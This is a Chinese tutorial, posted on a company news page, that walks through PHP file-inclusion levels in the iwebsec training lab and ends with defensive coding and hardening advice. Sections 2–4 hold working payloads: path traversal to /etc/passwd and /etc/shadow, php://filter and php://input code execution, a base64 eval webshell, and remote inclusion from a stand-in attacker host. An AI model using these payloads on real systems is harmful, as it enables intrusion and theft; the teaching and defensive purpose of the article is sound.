尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析
📅 发布时间:2026/7/8 20:44:40

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析

在 Web 安全领域,文件包含漏洞(File Inclusion Vulnerability)一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台,其文件包含模块设计了 10 个由浅入深的关卡,全面覆盖了本地文件包含(LFI)、远程文件包含(RFI)、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角,系统性地拆解这 10 个关卡的技术要点,并深入分析 3 类关键伪协议的底层原理与创新利用方式。

1. 靶场环境搭建与基础概念

1.1 Docker 靶场快速部署

使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建:

docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec

访问http://localhost:8001即可进入靶场界面,文件包含漏洞模块路径为/fi/目录。

1.2 文件包含漏洞本质

当 PHP 代码使用以下函数动态包含文件时,若未对参数进行严格过滤,则可能引发漏洞:

include($_GET['file']); require_once($path.'header.php');

攻击者通过控制文件路径参数,可实现:

  • 读取服务器敏感文件(/etc/passwd)
  • 执行任意 PHP 代码(WebShell)
  • 触发反序列化漏洞

漏洞类型对比表:

类型触发条件典型危害
本地文件包含(LFI)能访问服务器本地文件敏感信息泄露、代码执行
远程文件包含(RFI)allow_url_include=On直接获取服务器控制权
Session 文件包含Session 内容可控权限提升、持久化后门

2. 基础关卡:本地文件包含实战

2.1 关卡 1:直接文件包含

漏洞代码:

// fi/01.php $filename = $_GET['filename']; include($filename);

利用方式:

http://localhost:8001/fi/01.php?filename=../../../../etc/passwd

关键技巧:

  • 使用../进行目录遍历
  • Linux 常见敏感文件路径:
    /etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志

2.2 关卡 2:过滤绕过技术

当系统过滤/字符时,可采用以下手法:

方法一:URL 编码绕过

?filename=..%2f..%2f..%2fetc%2fpasswd

方法二:超长路径截断(PHP<5.2.8)

# 生成 4096 个字符的路径 payload = './'*2048 + 'etc/passwd'

3. 高阶利用:Session 与伪协议

3.1 关卡 3:Session 文件包含

攻击链构建:

  1. 发现 Session 可控点:
    /fi/03.php?iwebsec=<?php phpinfo();?>
  2. 获取 Session ID:
    // Chrome DevTools -> Application -> Cookies document.cookie.match(/PHPSESSID=([^;]+)/)[1]
  3. 包含 Session 文件:
    /fi/01.php?filename=../../../../var/lib/php/sessions/sess_abc123

Session 文件路径规律:

  • 默认路径:/var/lib/php/sessions/
  • 命名规则:sess_[PHPSESSID]

3.2 关卡 6-8:PHP 伪协议深度利用

3.2.1 php://filter 协议

源码读取技巧:

/fi/06.php?filename=php://filter/convert.base64-encode/resource=index.php

提示:Base64 编码可避免 PHP 代码被直接执行

过滤器链组合应用:

# 多重编码绕过WAF payload = 'php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resource=config.php'
3.2.2 php://input 协议

POST 数据执行:

GET /fi/07.php?filename=php://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded <?php system("id");?>

木马写入技巧:

<?php file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7'));

4. 远程文件包含与特殊协议

4.1 关卡 4-5:RFI 利用条件

必要配置检查:

// php.ini 关键配置 allow_url_fopen = On allow_url_include = On

绕过域名限制技巧:

/fi/05.php?filename=http://attacker.com/shell.txt? /fi/05.php?filename=http://127.0.0.1:8080/bypass.txt%23

4.2 关卡 9-10:data:// 与 file:// 协议

data:// 代码执行:

/fi/10.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==

file:// 绝对路径读取:

/fi/09.php?filename=file:///etc/shadow

5. 防御方案与实战建议

5.1 安全编码规范

// 白名单校验 $allowed = ['header.php', 'footer.php']; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define('BASE_DIR', '/var/www/includes/'); include(BASE_DIR . $file);

5.2 服务器加固措施

  1. PHP 配置优化:
    allow_url_include = Off open_basedir = /var/www/html:/tmp
  2. 文件权限控制:
    chmod -R 750 /var/www chown -R www-data:www-data /var/www

在实战渗透测试中,文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习:

  • 通过 LFI 读取数据库配置文件
  • 结合日志文件包含实现无文件攻击
  • 利用 phar:// 协议触发反序列化

相关新闻

  • 业务逻辑漏洞防御指南:基于墨者学院6个靶场案例的3层防护策略
  • 多模态Transformer实战:CLIP与BLIP-2模型在图文检索中的3种融合策略对比
  • Upload-Labs Pass-02/03 实战:Content-Type与黑名单绕过,2种方法成功率100%

最新新闻

  • Ubuntu 20.04 安装 ROS1 melodic:2种非官方支持方案与兼容性实测
  • 本地部署AI生图与视频生成工具:免费开源方案实战指南
  • Windows 11 任务管理器 3 类内存泄露排查:分页/非分页缓冲池与句柄激增定位
  • Seedance 2.5本地部署指南:AI生图与视频生成的完整实践
  • Seedance 2.5本地部署指南:AI生图与视频生成的离线解决方案
  • Seedance2.5本地AI生图与视频生成工具部署与优化指南

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号